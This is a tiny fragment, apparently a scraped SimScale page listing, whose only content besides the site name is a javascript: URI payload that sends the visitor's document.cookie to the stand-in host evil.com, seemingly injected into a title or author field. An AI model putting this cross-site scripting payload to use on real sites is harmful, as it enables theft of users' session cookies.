SimScale
javascript:fetch('https://evil.com/'+document.cookie) by ...